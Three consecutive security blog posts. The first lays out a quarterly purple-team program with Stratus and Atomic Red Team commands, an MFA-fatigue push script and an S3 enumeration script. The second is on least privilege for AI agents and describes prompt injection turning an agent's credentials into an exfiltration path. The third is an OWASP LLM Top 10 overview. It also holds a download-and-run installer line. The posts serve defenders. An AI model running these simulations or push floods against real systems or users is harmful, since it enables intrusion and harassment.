What Is Purple Team? → OWASP Top 10 in the Cloud → Breach Landscape 2020–2025 → Broken Access Control → MFA Fatigue → CI/CD Secrets → SSRF to IMDS → Container Escape → Supply Chain Attacks → Cloud Lateral Movement → Detection Engineering with eBPF → Cloud IR Playbook → Continuous Purple Team Testing

TL;DR

• Continuous purple team testing infrastructure is the practice of running structured attack simulations against your own environment on a quarterly cadence — not as an annual audit, but as an operational discipline
• Detection time drops exercise-over-exercise when the same technique is simulated repeatedly: the same cross-account AssumeRole technique that took 4 hours to detect in Q4 took 8 minutes by Q2 the following year
• The toolchain is open source: Atomic Red Team (ATT&CK-mapped) for host-level techniques, Stratus Red Team for cloud-native attack simulations, and custom scripts for what neither covers
• The debrief template — not the tool — is what turns a simulation into a detection improvement; document what fired, what didn’t, and why before closing the exercise
• Mean time to detect (MTTD) per technique is the only metric that tells you whether the program is working
• Frequency of simulation is the independent variable; better tooling and more headcount are not — how often you practice determines how fast you detect

OWASP Mapping: Cross-cutting — this episode validates defenses against every OWASP Top 10 category covered in this series. EP04 (A01 Broken Access Control), EP05 (A07 Auth Failures), EP06 (A08 Software Integrity), EP07 (A10 SSRF), EP08 (A05 Misconfiguration), EP09 (A06 Vulnerable Components), EP10 (A01 lateral movement), EP11 (A09 Monitoring Failures). Continuous purple team testing is how you verify your fixes for all of them actually hold under simulation.

The Big Picture

┌─────────────────────────────────────────────────────────────────────┐
│              QUARTERLY PURPLE TEAM CYCLE                            │
│                                                                     │
│    ┌─────────┐    ┌──────────┐    ┌──────────┐    ┌─────────────┐  │
│    │  PLAN   │───▶│ SIMULATE │───▶│  DETECT  │───▶│   DEBRIEF   │  │
│    │         │    │          │    │  (or miss)│    │             │  │
│    │ • Scope │    │ Red runs │    │           │    │ What fired? │  │
│    │ • Safety│    │ technique│    │ Blue logs │    │ What didn't?│  │
│    │ • Week 1│    │ • Week 2 │    │ results   │    │ • Week 3    │  │
│    └─────────┘    └──────────┘    └──────────┘    └──────┬──────┘  │
│                                                           │         │
│         ┌─────────────────────────────────────────────────┘         │
│         │                                                           │
│         ▼                                                           │
│    ┌─────────┐    ┌──────────┐                                      │
│    │   FIX   │───▶│  REPEAT  │◀──── same technique, updated rules  │
│    │         │    │          │                                      │
│    │ • Rules │    │ Does it  │                                      │
│    │ • Config│    │ catch it │                                      │
│    │ • Week 4│    │ now?     │                                      │
│    └─────────┘    └──────────┘                                      │
│                                                                     │
│    OUTCOME: MTTD drops exercise-over-exercise                       │
│    When MTTD < 10 min: retire technique, rotate in the next one     │
└─────────────────────────────────────────────────────────────────────┘

Continuous purple team testing infrastructure is not a tool you buy or a team you staff. It is a cadence — the same attack path, run repeatedly against your own environment, until detection time drops to a point where the attacker has no useful dwell time.

From EP01 to EP13: The Arc

In EP01, I described a red team engagement where the blue team took 11 days to detect a compromise. The red team used real techniques. The blue team had all the relevant logs. The detection logic just wasn’t tuned to the specific patterns in this specific environment.

That was the same environment, the same attacker playbook, and the same blue team I am about to describe.

Six months later, same scope. Same techniques. The blue team detected in 22 minutes.

Not because they hired anyone new. Not because they switched SIEMs. Not because they bought a new detection product. Because in the intervening six months, they ran four purple team exercises — one per quarter — using the techniques from the first engagement as the test backlog.

Exercise 1: 11 days → 4 hours. Detection rule didn’t exist. Wrote it on the spot during debrief.

Exercise 2: 4 hours → 47 minutes. Rule existed but had a misconfigured threshold that generated false negatives. Fixed during debrief.

Exercise 3: 47 minutes → 38 minutes. Marginal improvement — the technique was becoming well-detected. Rotated in a new technique.

Exercise 4 (new technique): baseline 4+ hours. Same cycle begins.

The number 22 minutes — which is where the original technique sits now — is not a product of better tooling. It is the product of running the simulation four times and fixing the gap found each time.

That is the arc of this series. EP01 defined the practice. EP02 through EP12 gave you the attack backlog. EP13 gives you the program to run them.

Building the Exercise Program

Cadence: The Three Loops

Most organizations treat purple team as an event. An annual penetration test reframed as “collaborative.” One event per year produces one point of data. One point of data is not a trend.

The program that actually moves MTTD operates in three nested loops:

Quarterly exercises — full simulations with red executing and blue observing. Four per year minimum. Each exercise covers one attack path end-to-end, with timestamps, debrief, and detection rule updates. This is the primary loop.

Monthly tabletop drills — no infrastructure required. Two hours. Pull one technique from the backlog, walk through it verbally: “Where would this show up in our logs? What would the CloudTrail event look like? Do we have a rule? What’s the threshold?” No simulation, just shared mental model. Catches drift in detection logic before the quarterly exercise finds it the hard way.

Weekly detection rule reviews — 15-minute async. Run the detection queries that should fire for your most recent exercises. Do they still return results? Rules that worked in October can silently stop working in January when a Terraform apply changes a logging configuration or a GuardDuty region setting drifts. Drift happens without review.

The quarterly exercise is the load-bearing loop. Monthly tabletops and weekly reviews keep it from regressing between exercises.

The Four-Week Exercise Structure

Each quarterly exercise follows the same four-week structure. Deviating from it is how exercises turn into ad hoc sessions with no durable output.

Week 1: Scope Agreement
──────────────────────
□ Which attack path from this series are we testing?
□ Which systems are in scope (account IDs, namespaces, node names)?
□ Circuit breaker: who can call off the exercise and how?
  (One named person. A Slack DM or phone call — not a ticket.)
□ Safety controls: are test accounts isolated from prod data paths?
□ Notification: who needs to know this is happening?
  (Cloud provider account team if large-scale, internal leadership)
□ Pre-exercise baseline: run detection queries now and record results


Week 2: Red Executes, Blue Observes
────────────────────────────────────
□ Red team runs the technique — with the actual tool and actual commands
□ Blue team is watching the SIEM / CloudTrail / Falco / GuardDuty
  in real time during execution
□ Both sides timestamp everything:
  [HH:MM] Technique started
  [HH:MM] First observable artifact (log entry, network event)
  [HH:MM] Alert fired (or: no alert)
  [HH:MM] Blue team acknowledged
□ Do NOT wait until the end to compare notes — call out gaps in real time


Week 3: Debrief and Rule Update
────────────────────────────────
□ Walk through the timeline together — not red presenting to blue
□ For each gap: what data existed? why didn't the rule fire?
  (Data existed + rule wrong: fix the rule)
  (Data existed + rule missing: write the rule)
  (Data didn't exist: fix the logging configuration)
□ Write or update detection rules during the debrief — not as a follow-up ticket
□ Update the runbook: what does the analyst do when this alert fires?
□ Commit all rule changes to version control before the debrief ends


Week 4: Re-Run and Verify
──────────────────────────
□ Red runs the same technique again — no changes to the attack
□ Does the updated detection catch it?
□ Record new MTTD
□ If yes: mark technique as covered, add to retirement queue when MTTD < 10 min
□ If no: iterate — another week of rule work, another re-run
□ Set date and technique for next quarter's exercise

The re-run in Week 4 is not optional. A detection rule written during a debrief and never verified against the actual technique may be logically correct and syntactically wrong, or may fire on a slightly different variant. You don’t know until you run the attack again.

The 10-Attack Rotation from This Series

The techniques in this table are the exercise backlog built across EP04–EP12. Run them in order — or reorder based on your current threat model. The MTTD column is blank until you run the exercise and fill it in.

Fill in the MTTD columns as you run. That table, populated over two years, is your program’s evidence of improvement. It is also what you show an auditor, a CISO, or a board when asked “how do you know your security controls work?”

The Toolchain

Atomic Red Team (ATT&CK-Mapped Host Techniques)

Atomic Red Team is Red Canary’s library of ATT&CK-mapped attack simulations. Each atomic test maps to a specific MITRE technique, lists the required permissions, and runs as a self-contained script. The library covers over 900 techniques across Linux, macOS, and Windows.

pwsh -Command "Install-Module -Name invoke-atomicredteam -Scope CurrentUser -Force"

# Install the Atomics folder (the actual test library)
pwsh -Command "Invoke-Expression (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)"

# List all techniques available for Linux
pwsh -Command "Invoke-AtomicTest All -ShowDetailsBrief -OS linux"

# Inspect a specific technique before running (T1078: Valid Accounts)
pwsh -Command "Invoke-AtomicTest T1078 -ShowDetails"

# Run test #1 for T1078 (shows what commands execute — dry run first)
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1 -CheckPrereqs"

# Execute the test
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1"

# Clean up after the test
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1 -Cleanup"

For the exercises in this series, the most relevant atomic techniques are:

Stratus Red Team (Cloud-Native Attack Simulations)

Stratus Red Team is DataDog’s cloud-specific attack simulation framework. Unlike Atomic Red Team (which focuses on host techniques), Stratus covers AWS, GCP, Azure, and Kubernetes attack paths using the actual cloud APIs — the same calls an attacker would make.

# Install (requires Go 1.21+)
go install github.com/DataDog/stratus-red-team/v2/cmd/stratus@latest

# Verify
stratus version

# List all available techniques
stratus list

# List AWS-specific techniques only
stratus list --platform aws

# List Kubernetes techniques
stratus list --platform kubernetes

# Get details on a specific technique before running
stratus show aws.credential-access.ec2-get-user-data

The workflow for each Stratus technique is: warm up (provision prerequisites) → detonate (execute the attack) → cleanup (remove artifacts). Never skip cleanup.

# EP07 exercise: SSRF to IMDS credential access simulation
# Warm up (provisions a test EC2 instance)
stratus warmup aws.credential-access.ec2-get-user-data

# Detonate: simulates accessing EC2 user data to extract credentials
stratus detonate aws.credential-access.ec2-get-user-data

# At this point: check CloudTrail for GetUserData events
# Check GuardDuty for credential access findings
# Record whether your detection fired and when

# Cleanup (terminates the test instance)
stratus cleanup aws.credential-access.ec2-get-user-data

# EP10 exercise: cross-account role assumption
stratus warmup aws.lateral-movement.ec2-instance-connect
stratus detonate aws.lateral-movement.ec2-instance-connect

# Detection check: look for AssumeRole events from unexpected principals
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time $(date -d '1 hour ago' -u +%Y-%m-%dT%H:%M:%SZ) \
  --query 'Events[].{Time:EventTime,User:Username,Source:SourceIPAddress}' \
  --output table

stratus cleanup aws.lateral-movement.ec2-instance-connect

# EP08 exercise: Kubernetes container escape simulation
stratus warmup k8s.privilege-escalation.privileged-pod
stratus detonate k8s.privilege-escalation.privileged-pod

# Detection check: Falco should fire container_escape_detection
# Check kubectl audit logs for privileged pod creation
kubectl get events --field-selector reason=Created -A | grep -i privileged

stratus cleanup k8s.privilege-escalation.privileged-pod

The full Stratus technique list as of this writing covers 50+ AWS techniques and 10+ Kubernetes techniques. Run stratus list after installing to see what’s current — the library is actively maintained and new techniques are added when new attack patterns emerge in the wild.

Building Custom Simulation Scripts

Atomic Red Team and Stratus don’t cover everything. MFA fatigue in particular requires tooling specific to your identity provider. Build simple, focused scripts for the gaps.

#!/bin/bash
# simulate-mfa-fatigue.sh
# Simulates an MFA fatigue attack by triggering repeated push notifications
# to a test account. Run ONLY against a designated test user — never a real
# employee account. The test account should have MFA enabled but no access
# to any production systems.
#
# Usage: ./simulate-mfa-fatigue.sh <test-user-email> <idp-test-api-endpoint>
# Example: ./simulate-mfa-fatigue.sh test-mfa@yourorg.com https://idp.internal/test/push

TEST_USER="${1:-test-mfa-fatigue@yourorg.com}"
IDP_ENDPOINT="${2:-}"
PUSH_COUNT=10
PUSH_INTERVAL=30  # seconds between pushes

if [ -z "$IDP_ENDPOINT" ]; then
  echo "ERROR: IDP test API endpoint required as second argument"
  exit 1
fi

echo "MFA fatigue simulation"
echo "Target user: $TEST_USER"
echo "Push count: $PUSH_COUNT"
echo "Interval: ${PUSH_INTERVAL}s"
echo ""
echo "Blue team: watch for repeated MFA push events in your IdP logs"
echo "Detection signal: >3 push requests to the same user within 5 minutes"
echo ""

START_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo "[$(date -u +%H:%M:%S)] Simulation started — timestamp this for your debrief"

for i in $(seq 1 $PUSH_COUNT); do
  echo "[$(date -u +%H:%M:%S)] Sending push request $i of $PUSH_COUNT..."

  # Trigger push via your IdP's test/simulation API
  # Okta example: POST /api/v1/authn/factors/{factorId}/verify
  # Replace with your IdP's actual test endpoint
  HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "$IDP_ENDPOINT" \
    -H "Content-Type: application/json" \
    -d "{\"username\": \"$TEST_USER\", \"factor\": \"push\", \"simulation\": true}")

  echo "    Response: HTTP $HTTP_STATUS"

  if [ "$i" -lt "$PUSH_COUNT" ]; then
    sleep "$PUSH_INTERVAL"
  fi
done

END_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo ""
echo "[$(date -u +%H:%M:%S)] Simulation complete"
echo "Start: $START_TIME"
echo "End:   $END_TIME"
echo ""
echo "Blue team: check IdP logs for push events in this window"
echo "Expected detection: alert on >3 MFA pushes to single user in 5 min"

#!/bin/bash
# simulate-s3-enum.sh
# Simulates the access pattern of an attacker enumerating S3 buckets
# after obtaining IAM credentials. Run in a test AWS account only.
# Purpose: verify CloudTrail ListBuckets and GetBucketAcl events fire
# and that your detection rule catches credential-based enumeration.

echo "[$(date -u +%H:%M:%S)] S3 enumeration simulation starting"
echo "Blue team: watch CloudTrail for ListBuckets from unexpected IAM principal"

# Enumerate buckets
echo "[$(date -u +%H:%M:%S)] ListBuckets..."
aws s3api list-buckets --query 'Buckets[].Name' --output text

# Attempt to read bucket ACLs (generates GetBucketAcl events)
echo "[$(date -u +%H:%M:%S)] Checking ACLs..."
aws s3api list-buckets --query 'Buckets[].Name' --output text | \
  tr '\t' '\n' | \
  while read -r bucket; do
    aws s3api get-bucket-acl --bucket "$bucket" 2>/dev/null | \
      jq -r '.Grants[].Grantee | select(.URI != null) | .URI' | \
      grep -q "AllUsers" && echo "PUBLIC ACL: $bucket"
  done

echo "[$(date -u +%H:%M:%S)] Enumeration complete — check CloudTrail now"

The pattern for custom scripts: timestamp every action, print what the blue team should be watching for, clean up after execution. A simulation script that leaves test resources running is how exercises create incidents instead of preventing them.

Measuring Progress

The metric that matters is MTTD per technique, tracked over time. Everything else — alert count, tool coverage, headcount — is a proxy.

MTTD tracking table: Cross-Account AssumeRole (EP10)
─────────────────────────────────────────────────────
Exercise   Date      Technique              MTTD      Notes
─────────────────────────────────────────────────────
Q4 2025    Oct 12    Cross-acct AssumeRole  4 hours   No detection rule existed
Q1 2026    Jan 18    Cross-acct AssumeRole  45 min    Rule written, threshold wrong
Q2 2026    Apr 5     Cross-acct AssumeRole  8 min     Threshold fixed, alert configured
─────────────────────────────────────────────────────
Status: MTTD < 10 min achieved — technique retired from rotation
Next: Rotate in CI/CD secrets exposure (EP06)

When MTTD falls below 10 minutes for a technique, retire it from the quarterly rotation. Add it to a “verified coverage” list. Run it annually to confirm the detection hasn’t regressed. Rotate a new technique from the backlog into the quarterly slot.

Ten minutes is the threshold because below that, an attacker executing this technique in your environment has less dwell time than it takes them to pivot to the next stage. It’s not a hard security boundary — it is a practical operational signal that the technique is well-detected enough to stop driving your exercise cadence.

Track coverage at the series level:

# Create a coverage tracking file
cat > ~/purple-team-coverage.txt << 'EOF'
Technique                      Episode  Status          MTTD
──────────────────────────────────────────────────────────────
S3 public access (broken ACL)  EP04     Not started     —
MFA fatigue                    EP05     Not started     —
CI/CD secrets (env var leak)   EP06     Not started     —
SSRF to IMDS                   EP07     Not started     —
Container escape (privileged)  EP08     Not started     —
Supply chain (unsigned build)  EP09     Not started     —
Cross-account AssumeRole       EP10     Not started     —
Process anomaly (eBPF-visible) EP11     Not started     —
CloudTrail disable             EP12     Not started     —
Full chain (EP07 + EP10)       EP07+10  Not started     —
EOF

Update the status column after each exercise. “Not started” → “In rotation” → “MTTD: X min” → “Retired (< 10 min)”. That file, kept in version control, is the program’s durable record.

The Debrief Template

The debrief is where the detection improvement happens. Without structure, debriefs turn into post-mortems that produce action items nobody closes. Use this template — fill it out during the debrief, not after.

# Purple Team Exercise Debrief

Exercise:      [name, e.g. "SSRF to IMDS — Q1 2026"]
Date:          [YYYY-MM-DD]
Attack path:   [from which EP, e.g. "EP07: SSRF to Cloud Metadata"]
Participants:  [red team members] / [blue team members]

## Timeline

| Time (UTC) | Event |
|------------|-------|
| HH:MM      | Attack started |
| HH:MM      | First observable artifact (specify: log entry / network event / process spawn) |
| HH:MM      | Alert fired in [tool] — or: no alert |
| HH:MM      | Blue team acknowledged |
| HH:MM      | Exercise concluded |

MTTD this exercise: [X hours / Y minutes / not detected]

## What Fired

- [Tool]: [Alert name / rule name] — fired at [HH:MM], [latency] after attack started
- [Tool]: [Alert name] — fired at [HH:MM]

## What Should Have Fired and Didn't

- [Expected detection] — root cause: [rule missing / rule wrong / data missing / log not ingested]
- [Expected detection] — root cause: [...]

## Root Cause of Gaps

1. [Gap 1]: [Why the detection didn't exist or didn't work — be specific]
2. [Gap 2]: [...]

## Actions

- [ ] Write detection rule for [gap] — owner: [name] — due: [date]
- [ ] Update runbook [X] to include response steps for [alert] — owner: [name]
- [ ] Fix configuration: [Y] — owner: [name] — due: [date]
- [ ] Commit all rule changes to [repo/path] — owner: [name] — due: today

## Re-Run Result (Week 4)

Date:          [YYYY-MM-DD]
MTTD:          [X minutes]
Detection:     [fired / did not fire]
Notes:         [what changed, what's still open]

## Next Exercise

Date:          [target quarter start]
Technique:     [from backlog]
Source:        [EP number]

The most important line in this template is “due: today” for committing rule changes to version control. Detection improvements that live only in the SIEM’s web UI get overwritten by the next infrastructure apply or the next policy sync. They disappear without a trace, and the next exercise finds the same gap again.

Series Closer: What This Series Taught

Looking back across all 13 episodes:

• EP01 — Purple team is a practice, not a team. Red executes, blue observes, both debrief together.
• EP02 — OWASP Top 10 applies to infrastructure. Every category has a cloud-native equivalent.
• EP03 — The 2020–2025 breach landscape is three themes: identity, supply chain, misconfiguration.
• EP04 — Broken access control is the most common failure. IAM wildcards and public S3 buckets are the infrastructure form.
• EP05 — MFA fatigue exploits push-based MFA UX. The fix is hardware keys — not training.
• EP06 — Secrets in CI/CD pipelines are structural, not behavioral. Pre-commit hooks and SAST scanning are the fix.
• EP07 — IMDSv1 has no authentication. Any SSRF anywhere is a straight line to IAM credentials.
• EP08 — --privileged erases the boundary between container and host. Two commands from compromised pod to root on the node.
• EP09 — Supply chain attacks target the trust chain, not the code. XZ Utils was two years of social engineering.
• EP10 — Cloud lateral movement is IAM trust misconfiguration, not network pivoting. One overly broad sts:AssumeRole trust policy is enough.
• EP11 — eBPF sees what CloudTrail doesn’t — kernel-level process and network events in real time, before the attacker’s process exits.
• EP12 — Incident response quality is inversely proportional to how much you practiced it. The organizations that contain in 4 hours practiced containing in 4 hours.
• EP13 — Frequency of simulation is the variable that changes detection time.

Every attack in this series exploited something that existed before the attacker arrived. The attacker didn’t create the IAM wildcard, the ungated CI/CD pipeline, the privileged pod, or the IMDSv1 endpoint. They found what was already there.

Purple team is how you find it first.

That’s the entire premise. Thirteen episodes to demonstrate it across ten attack paths. The practice is now yours to run.

What’s Next — Cross-Series

The Purple Team Playbook ends here, but the technical depth that makes it work lives in three other series running in parallel on linuxcent.com:

Kernel-level detection — the eBPF: From Kernel to Cloud series covers everything from kernel hooks and BPF maps to Cilium and runtime security with Tetragon. EP11 in this series referenced eBPF detection; the eBPF series is where the implementation depth lives.

Hardened base images — closing the OS-level attack surface that EP08 and EP09 in this series exploited starts at image build time. The hardened image pipeline gate post covers building signed, minimal base images that eliminate entire attack surface categories before the container ever starts.

The identity layer — every attack in this series ultimately had an IAM component: the overly permissive role, the wildcard policy, the cross-account trust boundary that was too broad. What Is Cloud IAM starts the 12-episode Cloud IAM series that maps the identity architecture underpinning all of it.

These series are designed to be read in parallel — techniques that appear as one-line references in this series get full treatment in the others. The eBPF series covers TC hooks and bpftrace in the depth that EP11 introduced. The IAM series covers sts:AssumeRole trust policies in the depth that EP10 referenced.

Get notified when the next series starts → linuxcent.com/subscribe

Production Gotchas

Test account isolation is not optional. Every simulation in this series should run in a dedicated AWS account (or GCP project / Azure subscription) with no trust relationships to production accounts. One stratus detonate command that runs in a prod account and modifies IAM trust policies is an incident, not an exercise. The cost of a test account is zero compared to the cost of a real incident.

Stratus leaves state. If you interrupt a stratus detonate run, the warmup infrastructure is still running and costing you money. Always run stratus cleanup even after an interrupted exercise. Add it to a trap in your exercise runbook.

Detection rules written during debriefs may use syntax your SIEM doesn’t support. Rule logic written in a 30-minute debrief window gets reviewed quickly. Run each new rule against 30 days of historical logs before relying on it. A rule that has never matched against known-bad historical data may have a quiet logic error.

Alerting ≠ detection. A rule that fires but routes to a queue no one monitors is not a detection. The debrief template asks “alert fired in [tool]” — confirm the alert also appeared in a queue that an on-call engineer would have seen. Route validation is part of the exercise.

Scope creep kills exercises. The first quarter an exercise runs long, someone proposes “let’s just add two more techniques since we have time.” Don’t. Four well-documented techniques with full debrief and verified re-runs beat ten half-documented techniques with action items that never close. Keep the scope tight. Add techniques by rotating them into the next quarter’s slot.

Quick Reference

Key Takeaways

• Continuous purple team testing infrastructure means running the same attack paths quarterly — not annually — until MTTD per technique drops below 10 minutes
• The four-week exercise structure (scope → simulate → debrief → re-run) is the unit of work; deviating from it is how exercises produce action items instead of detection improvements
• Atomic Red Team covers ATT&CK-mapped host techniques; Stratus Red Team covers cloud-native attack simulations; custom scripts cover what neither does
• The debrief template — filled in during the session, committed to version control before the session ends — is what separates exercises that improve detection from exercises that produce unread reports
• MTTD < 10 minutes for a technique means retire it and rotate in the next one from the backlog this series gave you
• The frequency of simulation is the variable that changes detection time. Not the tools. Not the headcount. How often you practice.

The post Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure appeared first on Linuxcent.

Identity in the Agentic Era, Episode 1
Medium | ~2,000 words | 8-minute read

I was reviewing an AI-powered internal tool a team had shipped to production. It summarized documents, answered questions about internal policy, and could update records in a few internal systems based on what it found.

When I asked what credentials it ran under, the engineer pulled up the service account configuration.

AdministratorAccess.

“It needed to read from S3, query DynamoDB, call a few internal APIs,” he said. “We weren’t sure exactly what it needed, so we gave it everything and planned to tighten it later.”

I had heard that sentence before. Almost word for word. In 2017, auditing an AWS account where six Lambda functions each carried three full-access managed policies because someone needed them to work quickly and planned to tighten them later. In 2019, reviewing a GCP project where a service account had roles/editor at the folder level for the same reason.

We are re-running the same IAM mistakes from the last decade, at speed, with a new class of actors that are harder to audit, harder to predict, and capable of taking autonomous action at a scale no human operator could match.

The non-human identity problem is back. And it brought reinforcements.

The Last Time We Had This Problem

In the early cloud era, the explosion of non-human identities was Lambda functions, EC2 instance profiles, container service accounts, CI/CD pipeline roles. Engineers needed these workloads to access cloud resources. The fastest path was broad permissions. And because nobody was accountable for “the Lambda’s IAM role” specifically, nobody came back to tighten it.

The IAM practices that emerged over the following years — least privilege policies, generated from actual usage rather than estimated requirements; workload identity federation instead of static credentials; OIDC short-lived tokens instead of long-lived access keys — were direct responses to the mess that accumulates when you grant first and audit never.

That took about a decade to normalize. Many environments still aren’t there.

Now we have AI agents. And we are starting the cycle again from scratch.

What Makes AI Agents Different as Identities

The workload identity problem from 2015 was hard because of scale — hundreds of Lambda functions, thousands of EC2 instances, each needing its own carefully scoped permissions.

AI agents introduce three properties that make the identity problem qualitatively harder.

Autonomy. A Lambda function does exactly what its code says. An AI agent decides what to do based on a prompt, context, and model behavior. The set of actions it might take is not fully enumerable at deployment time. This means you cannot reason about “what does this agent need access to” the same way you reason about a deterministic workload.

Manipulability. A Lambda function cannot be convinced to do something outside its code by a malicious user prompt. An AI agent can. If the agent has access to customer data and an attacker can inject a prompt that instructs it to exfiltrate that data, the agent’s valid credentials become the attack vector. This is prompt injection — and it turns IAM from a defense into a liability if permissions are too broad.

Opacity. When a Lambda function with s3:GetObject reads a file, you know exactly why: the code called that API. When an AI agent reads a file, the reason is a chain of model decisions that may not be logged, may not be auditable, and may not be consistent across runs. The audit trail that IAM depends on — who accessed what and why — becomes significantly harder to maintain.

The Same Mistakes, Same Causes

Walk through an AI agent deployment today and the anti-patterns are familiar:

Over-provisioned service accounts. The agent needs to read documents, call an API, maybe update a record. Rather than enumerate exactly which documents, which API endpoints, which records — all of which requires upfront work — the team grants broad access and ships. The access never gets tightened because the agent works and nobody is specifically accountable for its permissions.

Static long-lived credentials. The agent’s API keys are in environment variables. They were created six months ago. They’ve never been rotated. If the agent is compromised or its runtime environment is accessed, those credentials are available — and they’re broad.

No audit trail. The agent runs under a shared service account used by other services too. When CloudTrail shows an unexpected S3 read from that account, there is no way to know whether it came from the agent, the other service, or something else entirely.

“We’ll tighten it later.” The phrase that has followed every IAM explosion since 2012. Later rarely comes while the system is working.

These are not AI-specific failures. They are IAM failures that AI deployments are inheriting because the teams building agents are not always the same teams who spent the last decade cleaning up cloud IAM.

What Least Privilege Looks Like for an AI Agent

Applying least privilege to an AI agent requires working backwards from what the agent is actually allowed to do, not what it might conceivably need.

Enumerate the agent’s actions, not its access. A document summarization agent needs to read specific document stores, nothing else. An agent that updates records needs write access to specific tables with specific conditions — not the whole database. Define the scope from the action, not from the model’s capability.

Scope by data sensitivity. Not all data the agent could access is data the agent should access. An agent answering internal HR policy questions does not need read access to financial records. Separate the data stores. Separate the service accounts. The blast radius of a prompt injection attack is bounded by the permissions of the compromised service account.

Use short-lived credentials. If your AI agent runtime supports OIDC or workload identity federation — and most production platforms now do — use it. The agent gets a short-lived token scoped to its task. No long-lived key to rotate, no orphaned credential to discover later.

One service account per agent, per environment. Not a shared service account. Not the same account in staging and production. Each agent identity should be independently auditable, independently revocable.

# What you want to see in CloudTrail
eventSource: s3.amazonaws.com
eventName: GetObject
userIdentity:
  type: AssumedRole
  arn: arn:aws:sts::123456789:assumed-role/agent-doc-summarizer-prod/session

# What you don't want to see
userIdentity:
  arn: arn:aws:iam::123456789:user/ai-service-shared

The first entry tells you which agent, which role, which session. The second tells you nothing useful.

The Audit Gap

Here is the problem that doesn’t have a clean solution yet: even with a properly scoped service account, you know that the agent accessed a resource. You do not know why — what prompt triggered it, what reasoning led to it, what the agent was trying to accomplish.

This is the provenance gap in AI systems. Traditional IAM audit logs capture the action and the identity. For AI agents, you need a third dimension: the reasoning chain that produced the action.

Without that, your audit trail for compliance purposes is incomplete. You can prove that agent-doc-summarizer-prod read a file. You cannot prove whether it did so because a user asked a legitimate question or because an attacker injected a prompt that caused it to retrieve and expose that file.

Solving this requires logging not just the API call, but the context that produced it — the prompt, the model’s decision path, the tool call sequence. That logging infrastructure doesn’t exist out of the box in most AI frameworks today. Building it is one of the open problems in AI security, and it is an IAM problem at its core.

Framework Alignment

Key Takeaways

• AI agents are non-human identities. They inherit every IAM anti-pattern we spent a decade fixing for Lambda functions and EC2 instances — and introduce new ones unique to autonomous, manipulable systems
• Least privilege for AI agents works backwards from the agent’s defined actions, not from what it might conceivably need
• Prompt injection turns over-permissioned credentials into an attack vector — the agent’s valid access becomes the attacker’s access
• One service account per agent, per environment. Short-lived credentials where possible. No shared accounts that obscure audit trails
• The provenance gap — knowing why an AI agent took an action, not just that it did — is an open problem that traditional IAM logging doesn’t solve

What’s Next

In EP02, I’ll cover the specific IAM boundary that most AI pipelines are missing entirely: the data access layer for RAG systems. When your LLM retrieves context from a vector database, what controls what it can retrieve? The answer — for most teams right now — is nothing. And that’s a problem that has a concrete fix.

The post The Non-Human Identity Problem Is Back appeared first on Linuxcent.

OWASP Top 10 History → The Four OWASP Lists → Why Classic OWASP Breaks for LLMs → OWASP LLM Top 10 2025

TL;DR

• OWASP LLM Top 10 vs OWASP Top 10: four separate lists, four separate attack surfaces — they share underlying failure classes but differ entirely in what the attacker actually does
• If your system has a web frontend: Web App Top 10 (2021) applies
• If your system exposes REST or GraphQL APIs: API Security Top 10 (2023) applies
• If your workloads run on Kubernetes or containers: Cloud-Native App Security Top 10 applies
• If your system includes an LLM component — even a third-party API call: LLM Top 10 (2025) applies
• A RAG-based chatbot deployed on Kubernetes behind an API gateway touches all four lists simultaneously — and the attack paths at each layer are different

OWASP Mapping: Orientation episode. This post maps all four OWASP lists to their respective attack surfaces. Subsequent episodes (EP05–EP14) cover each OWASP LLM Top 10 category in depth with Red/Detect/Defend structure.

The Big Picture

WHICH OWASP LIST APPLIES TO YOUR ARCHITECTURE?

Your system component          Applicable OWASP List
──────────────────────────────────────────────────────
Web frontend / rendered HTML   Web App Top 10 (2021)
  └─ XSS, CSRF, clickjacking
  └─ Broken auth, session mgmt

REST/GraphQL API endpoint      API Security Top 10 (2023)
  └─ BOLA/IDOR, mass assignment
  └─ Excessive data exposure
  └─ Unrestricted resource use

Container / Kubernetes workload  Cloud-Native App Sec Top 10
  └─ Misconfigured workloads    (+ Purple Team series)
  └─ Vulnerable images
  └─ Runtime compromise

LLM / AI component             LLM Applications Top 10 (2025)
  └─ Prompt injection          ← this series
  └─ Model/data poisoning
  └─ RAG attacks, agent risks

──────────────────────────────────────────────────────
A single RAG chatbot on K8s behind an API gateway
touches ALL FOUR LISTS at the same time.

If you are deploying an LLM in production, all four lists apply. The question is not which one to use — it’s which part of your system falls under which list, and whether your security coverage has gaps between them.

The Web App Top 10 (2021): The Baseline

The original list. Covers HTTP-layer attacks on applications that serve content or handle user sessions.

What it addresses: Cross-site scripting, SQL injection, broken session management, insecure design at the application layer, misconfigured servers, vulnerable dependencies, server-side request forgery.

What it does not address: How an API client authenticates without a user session. How a Kubernetes workload is compromised at runtime. How an LLM misinterprets user input as an instruction. The 2021 list is the floor — it’s the minimum security bar for anything web-facing.

Primary tool class: DAST (Dynamic Application Security Testing) — OWASP ZAP, Burp Suite. SAST for source-level issues.

When this applies to your LLM system: The web frontend that wraps your chatbot. The admin UI for your AI pipeline. Any HTTP-facing surface — even if the backend is entirely LLM-powered.

The API Security Top 10 (2023): The API Layer

REST and GraphQL introduced attack surfaces that the web app list missed. The API Security Top 10 was published in 2019 and updated in 2023 precisely because API-specific attacks were not adequately covered.

Top categories:
– API1: Broken Object Level Authorization (BOLA/IDOR) — the most prevalent API vulnerability; accessing other users’ resources by changing an ID in the request
– API3: Broken Object Property Level Authorization — returning or accepting more data than the authenticated principal should see (replaces “Excessive Data Exposure” from 2019)
– API4: Unrestricted Resource Consumption — rate limiting gaps that enable abuse or DoS via API
– API6: Unrestricted Access to Sensitive Business Flows — no concept of “business logic” in the web app list; APIs expose workflows directly

What it does not address: Model-level behavior. Training-time attacks. Natural language injection. The API Security list treats the model as a black box behind an endpoint.

